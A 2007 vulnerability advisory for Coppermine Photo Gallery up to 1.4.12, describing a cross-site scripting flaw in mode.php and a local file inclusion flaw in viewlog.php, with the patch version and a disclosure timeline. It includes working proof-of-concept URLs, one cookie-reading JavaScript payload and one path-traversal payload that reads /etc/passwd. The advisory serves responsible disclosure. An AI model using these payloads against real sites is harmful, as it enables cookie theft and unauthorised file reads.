Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion

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Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
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Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting/Local File Inclusion
Status: patch available

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Affected software description:
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Application: Coppermine Photo Gallery
Version: <= 1.4.12
Vendor: http://coppermine-gallery.net

Description:
Coppermine is a multi-purpose fully-featured and integrated
web picture gallery script written in PHP using GD or ImageMagick
as image library with a MySQL backend.

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Vulnerabilities:
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The script mode.php does not properly sanitize the "referer" parameter.

The script viewlog.php does not properly sanitize the "log" parameter.

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Poc/Exploit:
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http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:alert(document.cookie)

http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00
(should need admin privileges)

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Solution:
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update to 1.4.13 or above

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Timeline:
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03.09.2007 - vendor informed
14.09.2007 - patch released by vendor
17.09.2007 - public disclosure
Received on Sep 17 2007